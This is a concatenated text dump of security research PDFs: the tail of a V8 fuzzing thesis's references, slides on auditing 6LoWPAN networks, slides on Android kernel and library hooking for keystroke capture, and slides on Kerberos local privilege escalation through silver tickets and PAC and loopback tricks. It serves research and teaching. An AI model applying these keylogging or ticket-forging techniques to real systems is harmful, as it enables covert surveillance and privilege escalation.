Hong, D. B. Weißer and P. Dr. Pustulka, "Cure53 Browser Security White Paper," 29 11 2017.
[Online].
Available:
https://github.com/cure53/browser-sec-whitepaper/blob/master/browser-
security-whitepaper.pdf. [Accessed 11 10 2019].
[6]
T. Ritter and A. Grant, "Tor Project Research Engagement," 30 05 2014. [Online]. Available:
https://github.com/iSECPartners/publications/tree/master/reports/Tor%20Browser%20Bundle.
[Accessed 13 10 2019].
[7]
A. Burnett, Forget the sandbox escape - Abusing browsers from code execution, Tel Aviv: BlueHatIL
2020, 2020.
[8]
F. Zhen and L. Gengming, The most Secure Browser? Pwning Chrome from 2016 to 2019, Las
Vegas: BlackHat USA 2019, 2019.
[9]
C. Rohlf, "Chrome Oilpan - Meta Data, Freelists and more," 07 08 2017. [Online]. Available:
https://struct.github.io/oilpan_metadata.html. [Accessed 19 10 2019].
[10] S. Park, W. Xu, I. Yun, D. Jang and T. Kim, "Fuzzing JavaScript Engines with Aspect-preserving
Mutation," In Proceedings of the 41st IEEE Symposium on Security and Privacy (S&P 2020), 05
2020.
[11] V. J. Manès, H. Han, C. Han, S. K. Cha, M. Egele, E. J. Schwartz and M. Woo, "The Art, Science,
and Engineering of Fuzzing: A Survey," IEEE Transactions on Software Engineering, 2019.
[12] M. (. Zalewski, "AFL - American Fuzzy Lop," [Online]. Available: http://lcamtuf.coredump.cx/afl/.
[Accessed 24 09 2019].
[13] M. Böhme, V.-T. Pham and A. Roychoudhury, "Coverage-based Greybox Fuzzing as Markov
Chain," CCS '16: Proceedings of the 2016 ACM SIGSAC Conference on Computer and
Communications Security, p. 1032–1043, 10 2016.
133
[14] M.
Heuse,
H.
Eißfeldt
and
A.
Fioraldi,
"AFLplusplus,"
[Online].
Available:
https://github.com/AFLplusplus/AFLplusplus. [Accessed 12 10 2019].
[15] L. Chenyang, J. Shouling, Z. Chao, L. Yuwei, L. Wei-Han, S. Yu and B. Raheem, "MOPT: Optimized
Mutation Scheduling for Fuzzers," 28th USENIX Security Symposium (USENIX Security 19), pp.
1949-1966, 08 2019.
[16] C.-C. Hsu, C.-Y. Wu, H.-C. Hsiao and S.-K. Huang, "InsTrim: Lightweight Instrumentation for
Coverage-guided fuzzing," Workshop on Binary Analysis Research (BAR) 2018, 18 02 2018.
[17] M. Böhme, M.-D. Nguyen, V.-T. Pham and A. Roychoudhury, "Directed Greybox Fuzzing," CCS
'17: Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications
Security, p. 2329–2344, 10 2017.
[18] S. Gan, C. Zhang, X. Qin, X. Tu, K. Li, Z. Pei and Z. Chen, "CallAFL: Path Sensitive Fuzzing," 2018
IEEE Symposium on Security and Privacy (SP), pp. 679-696, 2018.
[19] B. Dolan-Gavitt, P. Hulin, E. Kirda, T. Leek, A. Mambretti, W. Robertson, F. Ulrich and R. Whelan,
"LAVA: Large-scale Automated Vulnerability Addition," 2016 IEEE Symposium on Security and
Privacy (SP), 22-26 05 2016.
[20] A. Fasano, T. Leek, B. Dolan-Gavitt and R. Sridhar, "Rode0day: Searching for Truth with a Bug-
Finding
Competition,"
13
08
2018.
[Online].
Available:
https://www.usenix.org/sites/default/files/conference/protected-files/woot18_slides_fasano.pdf.
[Accessed 12 10 2019].
[21] B.
Caswell,
"Cyber
Grand
Challenge
Corpus,"
01
04
2017.
[Online].
Available:
http://www.lungetech.com/cgc-corpus/. [Accessed 13 10 2019].
[22] S. K. Cha, T. Avgerinos, A. Rebert and D. Brumley, "Unleashing Mayhem on Binary Code," in 2012
IEEE Symposium on Security and Privacy, IEEE, 2012, pp. 380-394.
[23] D. Brumley, I. Jager, T. Avgerinos and E. J. Schwartz, "BAP: A Binary Analysis Platform," in
Computer Aided Verification, Berlin, Heidelberg, Springer Berlin Heidelberg, 2011, pp. 463-469.
[24] C. Cadar, D. Dunbar and D. Engler, "KLEE: Unassisted and Automatic Generation of High-
Coverage Tests for Complex Systems Programs," OSDI'08: Proceedings of the 8th USENIX
conference on Operating systems design and implementation, p. 209–224, 12 2008.
[25] V. Chipounov, V. Kuznetsov and G. Candea, "S2E: A Platform for In-Vivo Multi-Path Analysis of
Software Systems," ASPLOS XVI: Proceedings of the sixteenth international conference on
Architectural support for programming languages and operating systems, p. 265–278, 03 2011.
[26] I. Yun, S. Lee, M. Xu, Y. Jang and T. Kim, "QSYM: A Practical Concolic Execution Engine Tailored
for Hybrid Fuzzing," in 27th USENIX Security Symposium (USENIX Security 18), Baltimore, MD,
USENIX Association, 2018, pp. 745-761.
134
[27] R. Brummayer and A. Biere, "Boolector: An Efficient SMT Solver for Bit-Vectors and Arrays," in
Tools and Algorithms for the Construction and Analysis of Systems, Berlin, Heidelberg, Springer
Berlin Heidelberg, 2009, pp. 174-177.
[28] L.
d.
M.
Bruno
Dutertre,
"The
YICES
SMT
Solver,"
2006.
[Online].
Available:
https://pdfs.semanticscholar.org/0e55/f506cbd6ecf3a44716cba7bc6f127904eaa8.pdf. [Accessed
30 10 2019].
[29] N. Stephens, J. Grosen, C. Salls, A. Dutcher, R. Wang, J. Corbetta, Y. Shoshitaishvili, C. Kruegel
and G. Vigna, "Driller: Augmenting Fuzzing Through Selective Symbolic Execution," in NDSS, 2016.
[30] Y. Shoshitaishvili, R. Wang, C. Salls, N. Stephens, M. Polino, A. Dutcher, J. Grosen, S. Feng, C.
Hauser, C. Kruegel and G. Vigna, "SOK: (State of) The Art of War: Offensive Techniques in Binary
Analysis," in 2016 IEEE Symposium on Security and Privacy (SP), IEEE, 2016, pp. 138-157.
[31] T.
Ormandy,
"Making
software
dumber,"
2011.
[Online].
Available:
http://www.cse.iitd.ernet.in/~siy117527/sil765/readings/fuzzing_making_software_dumber.pdf.
[Accessed 13 10 2019].
[32] M. Payer, Y. Shoshitaishvili and H. Peng, "T-Fuzz: fuzzing by program transformation," in 2018
IEEE Symposium on Security and Privacy (SP), 2018, pp. 697-710.
[33] C. Aschermann, S. Schumilo, T. Blazytko, R. Gawlik and T. Holz, "Redqueen: Fuzzing with Input-
to-State Correspondence," in NDSS, 2019.
[34] S. Bekrar, C. Bekrar, R. Groz and L. Mounier, "A Taint Based Approach for Smart Fuzzing,"
Proceedings - IEEE 5th International Conference on Software Testing, Verification and Validation,
ICST 2012, 04 2012.
[35] S. Rawat, V. Jain, A. Kumar, L. Cojocar, C. Giuffrida and H. Bos, "VUzzer: Application-aware
Evolutionary Fuzzing.," in NDSS volume 17, 2017, pp. 1-14.
[36] W. Xu, S. Kashyap, C. Min and T. Kim, "Designing New Operating Primitives to Improve Fuzzing
Performance," CCS '17: Proceedings of the 2017 ACM SIGSAC Conference on Computer and
Communications Security, p. 2313–2328, 3 11 2017.
[37] I.
Fratric,
"The
Great
DOM
Fuzz-off
of
2017,"
09
2017.
[Online].
Available:
https://googleprojectzero.blogspot.com/2017/09/the-great-dom-fuzz-off-of-2017.html.
[Accessed
14 10 2019].
[38] R. Hodován, Á. Kiss and T. Hyimóthy, "Grammarinator: A Grammar-Based Open Source Fuzzer,"
Proceedings of the 9th ACM SIGSOFT International Workshop on Automating TEST Case Design,
Selection, and Evaluation, p. 45–48, 11 2018.
[39] S. Groß, FuzzIL: Coverage Guided Fuzzing for JavaScript Engines, TU Braunschweig: Master's
thesis, 2018.
135
[40] K. Serebryany, D. Bruening, A. Potapenko and D. Vyukov, "AddressSanitizer: A Fast Address
Sanity Checker," in USENIX Annual Technical Conference, 2012.
[41] E. Stepanov and K. Serebryany, "MemorySanitizer: fast detector of uninitialized memory use in
C++," in 2015 IEEE/ACM International Symposium on Code Generation and Optimization (CGO),
2015, pp. 46-55.
[42] M. Conti, S. Crane, T. Frassetto, A. Homescu, G. Koppen, P. Larsen, C. Liebchen, M. Perry and
A.-R. Sadeghi, "SelfRando: Securing the Tor Browser against De-anonymization Exploits,"
Proceedings on Privacy Enhancing Technologies, 02 2016.
[43] M. Moroz and K. Serebryany, "Guided in-process fuzzing of Chrome components," 05 08 2016.
[Online].
Available:
https://security.googleblog.com/2016/08/guided-in-process-fuzzing-of-
chrome.html. [Accessed 19 10 2019].
[44] C. Evans, M. More and T. Ormandy, "Fuzzing at scale," 12 08 2011. [Online]. Available:
https://security.googleblog.com/2011/08/fuzzing-at-scale.html. [Accessed 19 10 2019].
[45] K. Serebryany, "Sanitize, Fuzz, and Harden Your C++ Code," in USENIX Association, San
Francisco, CA, 2016.
[46] O. Chang, A. Arya, K. Serebryany and J. Armour, "OSS-Fuzz: Five months later, and rewarding
projects," 05 2017. [Online]. Available: https://opensource.googleblog.com/2017/05/oss-fuzz-five-
months-later-and.html. [Accessed 19 10 2019].
[47] Google, "OSS-Fuzz," [Online]. Available: https://google.github.io/oss-fuzz/. [Accessed 19 10 2019].
[48] S. F. Abrar, haha v8 engine go brrrrr, AirGap2020.11, 2020.
[49] G. Klees, A. Ruef, B. Cooper, S. Wei and M. Hicks, "Evaluating Fuzz Testing," CCS '18:
Proceedings of the 2018 ACM SIGSAC Conference on Computer and Communications Security,
p. 2123–2138, 01 2018.
136
List of figures
Figure 1: Sample report result of FuzzBench; A lower score is better; source: .................15
Figure 2: Garbage collection in v8, source: ......................................................................32
Figure 3: Map transition tree which leads to the vulnerability .............................................43
Figure 4: Exploitation of the type confusion .......................................................................44
Figure 5: Precision lose in JavaScript................................................................................77
Figure 6: Sea-of-nodes of a not vulnerable version of the code .........................................90
Figure 7: Sea-of-nodes for vulnerable code.......................................................................91
Figure 8: Phases of corpus generation ............................................................................ 109
Figure 9: Corpus coverage at different stages ................................................................. 118
List of abbreviations
APT
Advanced-Persistent-Threat
ASAN
Address Sanitizer. A sanitizer supported by modern compilers which
supports the process of finding bugs. Other sanitizers are MSAN
(memory sanitizer) and UBSAN (undefined behavior sanitizer).
ASLR
Address-Space-Layout-Randomization
CSP
Content-Security-Policy
DOM
Document object model
IL
Intermediate Language
IR
Intermediate Representation
JIT
Just-in-time (compilation). JavaScript engines compile frequently used
code using a JIT compiler.
Map
The map of an object stores the structure and type of its properties.
Synonyms are the shape or the hidden class of an object.
NaN
Not-a-number
OOB
Out-of-bound (memory access) (vulnerability)
PoC
Proof-of-concept
SMI
Small Integer
SMT
Satisfiability modulo theories
SOP
Same-Origin-Policy
UAF
Use-After-Free (vulnerability)
VM
Virtual machine
XSS
Cross-Site-Scripting (vulnerability) | pdf |
This document and its content is the property of Airbus Defence and Space.
It shall not be communicated to any third party without the owner’s written consent | [Airbus Defence and Space Company name]. All rights reserved.
Auditing 6LoWPAN networks
Using Standard Penetration Testing Tools
Adam Reziouk
Arnaud Lebrun
Jonathan-Christofer Demay
2
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
The 6LoWPAN protocol
• IPv6 over Low power Wireless Personal Area Networks
• Header compression flags
• Addresses factoring (IID or predefined)
• Predefined values (e.g., TTL)
• Fields omission (when unused)
• Use of contexts (index-based)
• UDP header compression (ports and checksum)
• Packet fragmentation
• MTU 127 bytes Vs 1500 bytes
• 80 bytes of effective payload
3
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
What’s the big deal ?
4
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
The IEEE 802.15.4 standard
• PHY layer and MAC sublayer
• Multiple possible configurations
• Network topology
• Data transfer model
• Multiple security suites
• Integrity, Confidentiality or both
• Encryption key size (32, 64 or 128)
• Multiple standard revision
• 2003
• 2006 and 2011
5
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
Deviations for the standard
6
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
The ARSEN project
• Advanced Routing between 6LoWPAN and Ethernet Networks
• Detect the configuration of existing 802.15.4 infrastructure
• Network topology
• Data transfer model
• Security suite
• Standard revision
• Standard deviations
• Handle packet translation
• Compression/decompression
• Fragmentation/defragmentation
• Support all possible IEEE 802.15.4 configurations
7
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
Based on Scapy-radio
8
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
Two main components
• The IEEE 802.15.4 scanner
• Build a database of devices and captured frames
• The devices that are running on a given channel
• The devices that are communicating with each other
• The types of frames that are exchanged between devices
• The parameters that are used to transmit these frames
• The 6LoWPAN border router
• TUN interface
• Ethernet omitted
• Scapy automaton
9
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
New Scapy layers
• Dot15d4.py
• Several bug fixes
• Complete 2003 and 2006 support
• Sixlowpan.py
• Uncompressed IPv6 support
• Complete IP header compression support
• UDP header compression support
• Fragmentation and defragmentation support
10
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
Demonstration
11
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
A Platform for Auditing CAN Devices
Thank you for
your attention | pdf |
Confidential to SEWORKS
Copyright ©2013 SEWORKS Inc. All rights reserved.
Android Hooking Attack
SEworks
Hong Brothers
Minpyo Hong, Dongcheol Hong
[email protected]
2
•
SEWORKS Co., Ltd
– SEworks is a company created by a hacker.
– Main areas of mobile security, and Android, Windows App
protected areas, such as obfuscation is mainly research.
•
Minpyo Hong (Nick : Secret)
– SEworks CEO(Chief Executive Officer) and WOWHACKER team
founder/admin.
•
Dongcheol Hong (Nick : hinehong)
– SEworks CTO(Chief Technology Officer) and WOWHACKER team
admin.
3
•
Kernel Hooking
– Hooking using LKM Kernel module.
•
Library Hooking
– Android system library module hooking.
1. KERNEL HOOKING
Android Hooking Attack
5
•
Kernel Hooking
– Most of Kernel rootkit using LKM (loadable kernel module)
– Samsung's kernel source location "opensource.samsung.com“
– Look at the README.txt
HOW TO BUILD KERNEL 2.6.35 FOR Sxxxxx
1. Visit http://www.codesourcery.com/, download and install Sourcery G++ Lite
2009q3-68 toolchain for ARM EABI.
2. Extract kernel source and move into the top directory.
3. Execute 'make aries_kor_defconfig'.
4. Execute 'make' or 'make -j<n>' where '<n>' is the number of multiple jobs to be
invoked simultaneously.
5. If the kernel is built successfully, you will find following files from the top directory:
6
•
LKM module compile
– Source file and Makefile put the same directory.
– Using “make”
– Gallaxy S example.
obj-m += test.o
all:
make -C /home/hinehong/sxxxxx/Kernel M=$(PWD)
CFLAGS_MODULE=-fno-pic ARCH=arm
CROSS_COMPILE=/home/hinehong/CodeSourcery/Sourcery_G++_
Lite/bin/arm-none-eabi- modules
7
•
LKM module compile
– Install : insmod “Module name“
– View list : lsmod “Module name”
– Delete : rmmod “Module name”
•
init_module
– Dynamic memory allocation function is kmalloc in kernel.
8
•
Sys_call_table
– In Linux, the system call functions defined in sys_call_table.
– /proc/kallsyms
– System.map of the kernel source code
9
•
How to get the address of dynamically sys_call_table
– Using vector_swi handler.
– vector_swi of the system call handler function.
– Defined at arch/arm/kernel/entry-common.S
10
•
How to get the address of dynamically sys_call_table
– Inside the vector_swi, sys_call_table address can obtain.
11
•
How to get the address of dynamically sys_call_table
– If get the address of sys_call_table, direct modification of the table
can hooking existing syscall function.
12
•
What can we do?
– "Write" on the hook "https" does not communicate general web
packets can be intercepted.
13
•
What can we do?
2. SYSTEM LIBRARY HOOKING
Android Hooking Attack
15
•
Hooking
– Can hooking android system library.
– Related system key library hooking.
– Target library is “/system/lib/libXt9core.so”
16
•
Hooking
– In Arm architecture different Intel.
– Intel breakpoint opcode such as 0xcc (int 3) in the software, ARM
does not has breakpoint opcode.
– SIGTRAP code must be use.
17
•
Hooking
– breakpoint is two.
18
•
First
– before the processkey function call.
– Getting the g_WordSymbInfo address.
– g_WordSymbInfo : after the processkey function call, data save
address.
– Setting breakpoint second.
•
Second
– When call the processkey function, next 4 byte memory.
– Getting the g_WordSymbInfo data.
– Setting breakpoint first.
19
•
Memory setting
– device memory value is different.
– before the processkey function call.
– ProcessKey call address and find 4 byte size next instruction.
20
•
Process attach
– Getting pid value for execute process attach.
– Key process name like “android.inputmethod” in Gallaxy series
device .
21
•
Getting function address
– Real function address :
– “Processkey” function address + library base
address(/proc/PID/maps).
22
•
Hooking Start!
– Save the two breakpoint opcode.
– The reason is 2 breakpoint, continued hooking and getting key value
before processkey function and next.
23
•
Hooking
– Wait a event.
24
•
Hooking
– Breakpoint address check.
– PC (Program Counter)
25
•
Key status check
– Gallexy : offset address “r0 + 0x14” has key status value.
– Qwety code is 0x10709, 0x10912
26
•
Key value
– Second breakpoint (processkey the line was called), g_WordSymbInfo
key value are recorded.
– Gallexy S : offset address “r0 + 0x30” has key value.
– 0x30 : g_WordSymbInfo offset
27
•
Key value
– Gallexy S2~3 : g_WordSymbInfo address in r1 register
– 4byte data : g_WordSymbInfo + 0x4
Confidential to SEWORKS
Copyright ©2013 SEWORKS Inc. All rights reserved.
28 | pdf |
Taking Kerberos To
The Next Level
James Forshaw | @tiraniddo
●
Researcher @ Google Project Zero
●
Specialize in Windows
○
Local Privilege Escalation
○
RPC/COM Internals
○
Token manipulation
●
NtApiDotNet | D2J | OleViewDotNet
“Never met a logical vulnerability I didn’t like.”
Nick Landers | @monoxgas
●
Adversarial R&D @ NetSPI
●
Also specialize in Windows
○
Offensive tooling suites
○
Payload architectures
○
Vulnerability research
●
sRDI | Dark Side Ops
“Your Prod is our Dev.”
Assumptions
You understand the basics of Kerberos
You’re (somewhat) familiar with existing
remote attacks
You want to see some local privilege
escalation (LPE)
Talking to Yourself
can be good for you
Server Code
ABC.REALM
Client Code
Local Kerberos Authentication
Local Security Authority
Kerberos Security
Package
AcceptSecurityContext
KDC.REALM
KEY: abc$@REALM
SPN: HOST/ABC
InitializeSecurityContext
krbtgt/REALM
TGT
PAC
Server Code
ABC.REALM
Client Code
Local Kerberos Authentication
Local Security Authority
Kerberos Security
Package
KDC.REALM
KEY: abc$@REALM
InitializeSecurityContext
TGS-REQ
SPN: HOST/ABC
krbtgt/REALM
TGT
PAC
Server Code
ABC.REALM
Client Code
Local Kerberos Authentication
Local Security Authority
Kerberos Security
Package
KDC.REALM
SPN: HOST/ABC
krbtgt/REALM
TGT
PAC
InitializeSecurityContext
TGS-REP
HOST/ABC
TGS
PAC
KEY: abc$@REALM
Server Code
ABC.REALM
Client Code
Local Kerberos Authentication
Local Security Authority
Kerberos Security
Package
KDC.REALM
KEY: abc$@REALM
SPN: HOST/ABC
krbtgt/REALM
TGT
PAC
AP-REQ
HOST/ABC
TGS
PAC
AcceptSecurityContext
Local Security Authority
Server Code
ABC.REALM
Client Code
Local Kerberos Authentication
Kerberos Security
Package
KDC.REALM
KEY: abc$@REALM
SPN: HOST/ABC
krbtgt/REALM
TGT
PAC
HOST/ABC
TGS
PAC
Access Token
KEY
PAC
❶ Logon with
credentials to
initialize key in LSA
User Session
Local Security Authority
Client
Local Kerberos Silver Ticket
KEY: bob@REALM
LsaLogonUser
u: REALM\bob
pw: Password!
User Session
Local Security Authority
Client
Local Kerberos Silver Ticket
KEY: bob@REALM
❷ Convert
credentials to key
❸ Use key to
build silver
ticket
CIFS/Client
TGS
u: REALM\bob
pw: Password!
KEY: bob@REALM
User Session
Local Security Authority
Client
Local Kerberos Silver Ticket
KEY: bob@REALM
❹ Build A-REQ
and accept
PAC
AcceptSecurityContext
Token (admin)
❺ Parse PAC and
get token
CIFS/Client
TGS
Demo Time
LSA Internals
and how to break them
Local Security Authority
KDC
Client
PAC Signature Validation
Kerberos Package
PAC
KDC Signature
Server Signature
❶ Compute local
checksum of PAC
with service key
Local Checksum
KEY: bob@REALM
PAC
Local Security Authority
KDC
Client
PAC Signature Validation
Kerberos Package
❷ Verify PAC server
signature against
local value
KDC Signature
Server Signature
Local Checksum
PAC
Local Security Authority
Server Signature
KDC
Client
PAC Signature Validation
Kerberos Package
❸ Send the KDC the
checksum and
signature to validate
KDC Signature
KERB_VERIFY_PAC_REQUEST
Local Checksum
KDC Signature
NETLOGON
Local Checksum
KDC Signature
Local Checksum
PAC
Local Security Authority
Server Signature
KDC
Client
PAC Signature Validation
Kerberos Package
❹ Verify
signature with
realm key and
reply
KDC Signature
Local Checksum
KEY: krbtgt@REALM
KDC Signature
Local Checksum
cred->Flags & SECPKG_CRED_ATTR_PAC_BYPASS
(auto) AcquireCredentialsHandle w/
SECPKG_CRED_INBOUND && NT AUTHORITY\SERVICE &&
!KerbGlobalValidateKDCPACSignature
(manual) SetCredentialsAttributes w/SeTcbPrivilege
So how do Silver Tickets ever work?
(PAC validation isn’t always enabled)
“SYSTEM” Equivalent
SeTcbPrivilege || SYSTEM || LOCAL/NETWORK SERVICE
context->Flags & ASC_RET_USE_SESSION_KEY
Logon Session:
Credentials Handle:
ASC Context Flags:
cred->Flags & SECPKG_CRED_ATTR_PAC_BYPASS
(auto) AcquireCredentialsHandle w/
SECPKG_CRED_INBOUND && NT AUTHORITY\SERVICE &&
!KerbGlobalValidateKDCPACSignature
(manual) SetCredentialsAttributes w/SeTcbPrivilege
So how do Silver Tickets ever work?
(PAC validation isn’t always enabled)
“SYSTEM” Equivalent
SeTcbPrivilege || SYSTEM || LOCAL/NETWORK SERVICE
context->Flags & ASC_RET_USE_SESSION_KEY
Logon Session:
Credentials Handle:
ASC Context Flags:
???
ASC_RET_USE_SESSION_KEY ?
3.2.3. Receipt of KRB_AP_REQ Message
[...] If the USE-SESSION-KEY flag is set in the ap-options field,
it indicates to the server that user-to-user authentication is in
use, and that the ticket is encrypted in the session key from the
server's TGT rather than in the server's secret key.
See Section 3.7 for a more complete description of the effect of
user-to-user authentication on all messages in the Kerberos
protocol.
RFC 4120 - Kerberos V5
KRBTGT/REALM
TGT
KDC.REALM
b0b@REALM
PAC
User to User Authentication
bob
CIFS/ABC
U2U Ticket
b0b@REALM
PAC
Session Key
Session Key
KEY: krbtgt@REALM
We now need the session key from our
TGT to build the Silver Ticket
Trying to get a TGT + Session Key
PS C:\> $ticket = Get-KerberosTicket krbtgt
PS C:\> $ticket.SessionKey
KeyEncryption
: AES256_CTS_HMAC_SHA1_96
Principal
: krbtgt/[email protected]
NameType
: SRV_INST
PS C:\> $ticket.SessionKey.Key | Format-HexDump
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
No session
key ?
Want to get a usable Kerberos TGT without admin
rights/allowtgtsessionkey?
It's easy with a delegation ticket! (enabled by
default...)
No special requirement, just some love
> github.com/gentilkiwi/kek...
Thank you @elad_shamir (and @TheColonial) for evil
ideas!
Benjamin Delpy
@gentilkiwi
https://twitter.com/gentilkiwi/status/998219775485661184
User Session
Local Security Authority
❶ Request AP-REQ for
delegatable service
Unconstrained Delegation TGT Extraction
SPN:
CIFS/KDC.REALM
InitializeSecurityContext
+ISC_REQ_DELEGATE
Session
Key
CIFS/KDC.REALM
TGS [Delegate: OK]
KEY: bob@REALM
User Session
❷ Authenticator is
encrypted with session
key and contains the
delegation TGT
Local Security Authority
Unconstrained Delegation TGT Extraction
CIFS/KDC.REALM
TGS [Delegate: OK]
AP-REQ
CIFS/KDC.REALM
TGS
Session
Key
krbtgt/REALM
TGT
Authenticator
Session
Key
User Session
Local Security Authority
❸ Query ticket
cache for session
key, decrypt, and
extract TGT
Unconstrained Delegation TGT Extraction
CIFS/KDC.REALM
TGS [Delegate: OK]
AP-REQ
CIFS/KDC.REALM
TGS
Session
Key
Authenticator
Timestamp
Session
Key
GSSChecksum
GSS_C_DELEG_FLAG
KRB_CRED
krbtgt/REALM
Checksum
LsaCallAuthPackage
Authenticator
What can you add to the PAC ?
PAC->LogonInfo
Domain SID
User ID
Group IDs
Extra SIDs
…
…
Resource Domain SID
Resource Group IDs
…
Any domain SID which is not local
account domain.
Any domain RIDs
500 - REALM\Administrator
512 - REALM\Domain Administrator
1000+ - User and Computer Accounts
Most SIDs which are not the local
account domain or NT AUTHORITY
Mandatory Integrity SID
Capability SIDs
Most SIDs which are not the local
account domain or NT AUTHORITY
Demo Time
SeTokenCanImpersonate
Allowed
Restrict to
Identification
Token Level
<
Impersonate
Process has
Impersonate
Privilege
Process IL
<
Token IL
Process User
==
Token User
Elevation
Check
Session ID
Check
SeTokenCanImpersonate
Allowed
Restrict to
Identification
Token Level
<
Impersonate
Process has
Impersonate
Privilege
Process IL
<
Token IL
Process User
==
Token User
Elevation
Check
Session ID
Check
Can be controlled
by the PAC
Doesn’t apply
to us
Ignored if user is
not a UAC admin
???
SeTokenCanImpersonate
Allowed
Restrict to
Identification
Token Level
<
Impersonate
Process has
Impersonate
Privilege
Process IL
<
Token IL
Process User
==
Token User
Elevation
Check
Session ID
Check
if (Primary->SessionId != Impersonation->SessionId &&
Impersonation->SessionId == 0) {
return STATUS_PRIVILEGE_NOT_HELD;
}
Hunting for Session Update Primitives
LsapBuildAndCreateToken
LsapSetSessionToken
LsapApplyLoopbackSessionId
LsapUpdateUserTokenSessionId
LsapFilterElevatedTokenFull
NtSetInformationToken(..., TokenSessionId, …)
LsapAuApiDispatchLogonUser
LsapCreateTokenEx
LsaISetSupplementalTokenInfo
Hunting for Session Update Primitives
LsapBuildAndCreateToken
LsapSetSessionToken
LsapApplyLoopbackSessionId
LsapUpdateUserTokenSessionId
LsapFilterElevatedTokenFull
NtSetInformationToken(..., TokenSessionId, …)
Requires TCB
Not useful
LsapAuApiDispatchLogonUser
LsapCreateTokenEx
LsaISetSupplementalTokenInfo
Hunting for Session Update Primitives
LsapBuildAndCreateToken
LsapSetSessionToken
LsapApplyLoopbackSessionId
LsapUpdateUserTokenSessionId
LsaISetSupplementalTokenInfo
LsapFilterElevatedTokenFull
NtSetInformationToken(..., TokenSessionId, …)
Deals with
elevated +
linked tokens
LsapAuApiDispatchLogonUser
LsapCreateTokenEx
Hunting for Session Update Primitives
LsapBuildAndCreateToken
LsapSetSessionToken
LsapApplyLoopbackSessionId
LsapUpdateUserTokenSessionId
LsaISetSupplementalTokenInfo
LsapFilterElevatedTokenFull
NtSetInformationToken(..., TokenSessionId, …)
???
LsapAuApiDispatchLogonUser
Accessible via
AcceptSecurityContext
LsapCreateTokenEx
User Session X
Local Security Authority
❶ Call ISC and add entry to loopback
tracking table with caller’s session id
LSA Loopback Library
InitializeSecurityContext
Kerberos Security
Package
BeginTracking
…
X
Hash Value
Session ID
User Session X
Local Security Authority
❷ Update AES-CMAC hash
with security buffer contents
LSA Loopback Library
Kerberos Security
Package
UpdateTracking
AP-REQ
AP-REQ
FEEDACDC
X
Hash Value
Session ID
InitializeSecurityContext
User Session
Local Security Authority
❸ Accept AP-REQ and add
AES-CMAC entry
LSA Loopback Library
AcceptSecurityContext
Kerberos Security
Package
BeginTracking
AP-REQ
FEEDACDC
X
Hash Value
Session ID
FEEDACDC
0
Local Security Authority
User Session
❹ Create token and lookup
final hash. If a match is
found, move the token to the
client session
LSA Loopback Library
AcceptSecurityContext
Kerberos Security
Package
LsapCreateTokenEx
FEEDACDC
X
Hash Value
Session ID
FEEDACDC
0
Token
LsapApplyLoopbackSessionId
LSA Loopback Library
ELI5
1.
Loopback Library will hash all security
buffers between LSA and clients. If
hashes match when a token is being
built, the token will be moved to the
client session.
2.
We need to start using
InitializeSecurityContext with our silver
tickets to get the hash entry initialized.
3.
We need to modify the PAC inside the
AP-REQ, but if we touch the buffers the
hash lookup will break. (or will it?)
User Session
Local Security Authority
Kerberos Security Package
Our Code
(Initialize/Accept)SecurityContext
No Fly Zone!
Loopback Security Buffer Hashing Bug
PSecBufferDesc pInput = ...;
for(ULONG i = 0; i < pInput->cBuffers; ++i) {
PSecBuffer pBuffer = &pInput->pBuffers[i];
if (pBuffer.BufferType == SECBUFFER_TOKEN) {
BCryptHashData(hHash, pDirectionGuid, cbDirectionGuid);
BCryptHashData(hHash, pBuffer->pvBuffer, pBuffer->cbBuffer);
}
}
Security Buffer Types
Buffer Type
Meaning
Value
SECBUFFER_EMPTY
Undefined, replaced by the
security package function
0x00000000
SECBUFFER_TOKEN
Security token
0x00000002
…
SECBUFFER_READONLY
Buffer is read-only, no
checksum
0x80000000
SECBUFFER_READONLY_WITH_CHECKSUM
Buffer is read-only, and
checksummed
0x10000000
The buffer types can be combined using a bitwise-OR operation
with the READONLY buffer types.
Security Buffer Descriptor
Type Confusion in AcceptSecurityContext
Kerberos Security
Package
Original AP-REQ from
InitializeSecurityContext
SECBUFFER_TOKEN
Loopback Library
Modified AP-REQ with
Silver Ticket
SECBUFFER_TOKEN |
SECBUFFER_READONLY
Ignored by Loopback library.
Used by Kerberos.
Hashed by LoopbackLibrary.
Ignored by Kerberos.
Demo Time
Fixed in Windows 11 ?
if (pBuffer.BufferType == SECBUFFER_TOKEN) {
BCryptHashData(hHash, pDirectionGuid, cbDirectionGuid);
BCryptHashData(hHash, pBuffer->pvBuffer, pBuffer->cbBuffer);
}
if ((pBuffer.BufferType & ~SECBUFFER_ATTRMASK) == SECBUFFER_TOKEN) {
BCryptHashData(hHash, pDirectionGuid, cbDirectionGuid);
BCryptHashData(hHash, pBuffer->pvBuffer, pBuffer->cbBuffer);
}
Windows 10:
Windows 11:
Masking the upper byte out
LSA Loopback Library
Danger Zone
User Session
Local Security Authority
Kerberos Security Package
Our Code
(Initialize/Accept)SecurityContext
No Fly Zone!
Man in the middle
is on the table?
KDC.REALM
Modifying on the Wire
Local Security Authority
CIFS/ABC
TGS U2U
bob@REALM
PAC w/admin
KDC
CIFS/ABC
TGS U2U
bob@REALM
PAC
Session Key
TGS-REP
TGS-REP
(evil)
What about Credential Guard ?
Kerberos Considerations
When you enable Windows Defender Credential Guard,
you can no longer use Kerberos unconstrained
delegation or DES encryption. Unconstrained
delegation could allow attackers to extract Kerberos
keys from the isolated LSA process. Use constrained
or resource-based Kerberos delegation instead.
https://docs.microsoft.com/en-us/windows/security/identity-
